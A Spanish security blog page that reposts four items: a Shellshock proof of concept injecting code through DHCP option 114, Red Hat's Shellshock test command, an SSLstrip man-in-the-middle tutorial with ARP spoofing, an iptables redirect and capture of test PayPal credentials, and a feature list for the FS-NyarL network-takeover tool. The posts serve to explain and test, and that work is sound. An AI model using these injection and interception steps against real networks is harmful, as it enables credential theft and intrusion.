    El bug en bash, ya bautizado como Shell Shock, es tan terrorificamente sencillo que hasta los menos expertos son capaces de juntar rápidamente algo de código para comprometer una máquina Linux/Unix (incluido Macs). Así en menos de dos días hemos pasado de una simple prueba de concepto a una autentica pandemia de explotaciones.

    Una de las más llamativas es la que ya conocíamos desde el principio con DHCP y que ahora nos ilustra TrustSec, otra PoC en la que vemos como podemos insertar código en laopción 114 (default-url) de nuestro server para explotar la vulnerabilidad:


    String () { ignored;}; echo ‘foo’ en servidor TFTPD64

    Simplemente hacemos un renew en el cliente (o levantamos el interfaz) y observamos el resultado:



    Fuente: http://www.hackplayers.com/2014/09/shellshock-dhcp-o-como-puede.html

    Test Shellshock - Vulnerabilidad en Bash

    0 comentarios
    ¿Qué es Shellshock?
    Shellshock es un problema de seguridad que lleva a razón de 20 años oculto en la terminal de los sistemas operativos Linux y Mac.

    Afecta al intérprete de comandos Bash. Así, al abrir una terminal en el sistema y con la órden adecuada es posible conseguir el total control del sistema, accediendo así a toda su información.

    Por otro lado, es común en los programas que ejecuten un intérprete de comandos Bash en segundo plano. Por su lado, el experto Robert Graham ha declarado que el problema de seguridad es mayor que Heartbleed, apuntando de nuevo al hecho de la interacción típica de los programas con la consola. 


    Para conocer si nuestro sistema operativo es vulnerable o no, en el Blog de Red Hat han creado un test de uso muy sencillo. Para realizar dicha prueba solo es necesario abrir una terminal y ejecutar la siguiente orden.
    env x='() { :;}; echo Su sistema es vulnerable' bash -c "echo Esto es un Test"
    Si el sistema que usamos no es vulnerable, la salida será la siguiente.

    Y en el supuesto caso que nuestro sistema fuese vulnerable, la salida sería esta otra.
    Si el resultado del test ha sido "vulnerable", tocaría actualizar el sistema lo más rápido posible para evitar problemas a un corto plazo.


    Fuente: http://www.seguridaddelmal.com/2014/09/test-shellshock-vulnerabilidad-en-bash.html


    SSLstrip : Cómo descifrar todo el tráfico HTTPS

    0 comentarios
    SSLSTrip es una aplicación para sistemas operativos Linux capaz de “descifrar todo el tráfico HTTPS” que viaja a través de la red y sniffar el tráfico (usuarios y claves) que viaja a través de la red en “HTTPS (cifrado)”. En este tutorial os vamos a enseñar un poco más a fondo cómo funciona.
    Para lograr nuestro objetivo, haremos un ataque Man In The Middle, que consiste en ponernos a “escuchar” las comunicaciones entre el servidor y el propio cliente.
    ¿SSLStrip descifra el protocolo SSL?, la respuesta es no. Lo que hace realmente SSLStrip es engañar al servidor y convertir todo el HTTPS de una web en HTTP (sin cifrar) . El script solo puede “engañar” cuando la víctima llega a la web en cuestión mediante una redirección o un LINK.
    En la página web oficial podéis encontrar el enlace de descarga y un breve manual para empezar a utilizar SSLSTRIP.
    Antes de empezar, debemos aclarar que el manual es básicamente un ataque simulado, no se va a explicar todo en detalle, simplemente os mostraremos como funciona SSLStrip haciendo una demostración en un tipo de ataque simulado.
    Para este ataque simulado vamos a usar 2 máquinas conectadas a una misma red (1 máquina física y una máquina virtual), los roles desempeñados por cada máquina van a ser los siguientes:
    Máquina física : Kubuntu 11.04 – Víctima.
    Máquina virtual: Backtack 5 – Atacante.
    Herramientas necesarias para el atacante:
    SSLStrip
    Sniffer(Wireshark,Ettercap..)
    Arpspoof
    Iptables
    Nmap (opcional, no es necesario si sabemos la IP de la víctima, o si usamos otra técnica para detectarla)
    Empezamos el ataque:
    Lo primero que debe conocer el atacante es la IP privada de la víctima (nosotros para este ataque simulado hemos optado por usar Nmap para descubrir la IP) en nuestro caso es bastante fácil ya que solo hay 3 Host activos (el propio atacante, la víctima y el router).
    Para realizar este proceso de detección lo que haremos será escanear toda la red local en busca de Host activos (seguramente se os ocurrirán más maneras, no obstante por nuestra parte pensamos que ésta es la más utilizada).
    Primero averiguamos nuestra IP privada en la red con ifconfig. Típicamente los routers empiezan a agregar IPs, manteniendo los tres primeros grupos de cifras por ejemplo:192.168.0.* donde * es el número que varía y el resto se mantiene igual.
    Por supuesto, el router puede estar configurado de otra forma, y puede que tengamos que sacar la IP como podamos, por ejemplo, por medios de ingeniería social si tenemos contacto con la persona que maneja el PC víctima.

    Como podéis ver, está activa la IP del atacante. Si hubiese más Host activos el atacante tendría que ir tirando de técnicas de fingerprinting e ir contrastando los resultados de estas con las cosas que ya sabe de la víctima por ejemplo, si el atacante supiese que la víctima utiliza Windows 7, podría hacer un OS Fingerprint(flag -O en Nmap) para saber el OS que utilizan los Host que están activos, descartando así todos los que no utilicen Windows 7 ya que no serían la víctima.
    Llegados a este punto el atacante deberá configurar el enrutamiento de su PC (también podría haberlo hecho antes). Si no se activase el enrutamiento el ataque podría ser un desastre, ya que la víctima técnicamente se quedaría sin internet, porque sus peticiones jamas llegarían a su destino, se quedarían en el PC del atacante y por tanto no habría respuestas.

    A continuación, el atacante deberá configurar una IPTABLE para redirigir todo el trafico del puerto 80 a otro puerto. El atacante podría omitir este paso y poner directamente a escuchar el SSLStrip directamente al puerto 80 pero esto obligaría a la víctima a aceptar un certificado falso, cosa que ya era capaz de hacer otras herramientas.
    iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port

    Siguiendo con el ataque, una vez que el atacante tiene la IP de la víctima, este deberá proceder a realizar un ataque MITM. Para esto usará ARPSpoof:

    Ahora es el momento en el que empieza la parte complicada del ataque, hasta ahora hemos hecho lo siguiente:
    Por ahora el atacante ha obtenido la IP de la víctima y tiene todo su trafico redireccionado hacia sí mismo (ataque MITM), y ahora mismo se dispone a conseguir en texto planto todo lo que pase cifrado en SSL.
    El proceso es simple deberemos lanzar SSLStrip y ponerlo a escuchar en el puerto al que hemos redireccionado el trafico.

    Ya esta todo listo ahora solo necesitamos que pase algo como esto:
    Pantalla de la víctima entrando en por ejemplo a www.paypal.com ; con las siguientes credenciales: Correo = Correodeprueba ; Contraseña: Contraseñadeprueba
    Pantalla del atacante monitorizando el trafico y obteniendo la contraseña mediante Wireshark

    Aquí finaliza nuestro ataque simulado, esperamos que os haya gustado.
    Cómo detectar el ataque MITM y SSLStrip:
    -Fijándonos en la única diferencia que se presenta al visitar una web que use SSL cuando estamos bajo este ataque, que la dirección en vez de ser https es http.
    Como protegerse de estos ataques:

    -Escribiendo siempre en la barra de direcciones del navegador https:// cuando entremos a web que sabemos que usan SSL(o lo sospechamos).

    Fuente: http://www.redeszone.net/seguridad-informatica/sslstrip/

    FS-NyarL Pentesting & Forensics Framework (ingles)

    0 comentarios

    http://www.ehacking.net/2014/05/fs-nyarl-pentesting-forensics-framework.html
    Automatic tools have made the penetration testing process more efficient and effective, although the importance of manual test are still there and in most of the cases manuals checks are required. But in the mean time we cannot deny the advantages of automatic tool, yes it save a loads of time and energy off course. You must have heard about the most famous vulnerability assessment & penetration testing tool like Nessus & Metasploit but in this article I will discuss FS-NyarL.

    NyarL it's Nyarlathotep, a mitological chaotic deity of the writer HP. Lovecraft's cosmogony.
    It's represent Crawling Chaos and FS-NyarL it's The Crawling Chaos of Cyber Security :-)
    A network takeover & forensic analysis tool - useful to advanced PenTest tasks & for fun and profit - but use it at your own risk!
    • Interactive Console
    • Real Time Passwords Found
    • Real Time Hosts Enumeration
    • Tuned Injections & Client Side Attacks
    • ARP Poisoning & SSL Hijacking
    • Automated HTTP Report Generator 

    ATTACKS IMPLEMENTED:

    • MITM (Arp Poisoning)
    • Sniffing (With & Without Arp Poisoning)
    • SSL Hijacking (Full SSL/TLS Control)
    • HTTP Session Hijaking (Take & Use Session Cookies)
    • Client Browser Takeover (with Filter Injection in data stream)
    • Browser AutoPwn (with Filter Injection in data steam)
    • Evil Java Applet (with Filter Injection in data stream)
    • Port Scanning 

    POST ATTACKS DATA OBTAINED:

    • Passwords extracted from data stream
    • Pcap file with whole data stream for deep analysis
    • Session flows extracted from data stream (Xplico & Chaosreader)
    • Files extracted from data stream
    • Hosts enumeration (IP,MAC,OS)
    • URLs extracted from data stream
    • Cookies extracted from data stream
    • Images extracted from data stream
    • List of HTTP files downloaded extracted from URLs 



    DEPENDENCIES (aka USED TOOLS):
    • Chaosreader (already in bin folder) 
    • Xplico 
    • Ettercap 
    • Arpspoof 
    • Arp-scan 
    • Mitmproxy 
    • Nmap 
    • Tcpdump 
    • Beef 
    • SET 
    • Metasploit 
    • Dsniff 
    • Macchanger 
    • Hamster 
    • Ferret 
    • P0f 
    • Foremost 
    • SSLStrip 
    • SSLSplit 
    Download & Tutorial
    - See more at: http://www.ehacking.net/2014/05/fs-nyarl-pentesting-forensics-framework.html#sthash.Vs2OSeXP.dpuf

    Fuente: http://www.ehacking.net/2014/05/fs-nyarl-pentesting-forensics-framework.html
    Powered by Bad Robot
    Helped by Blackubay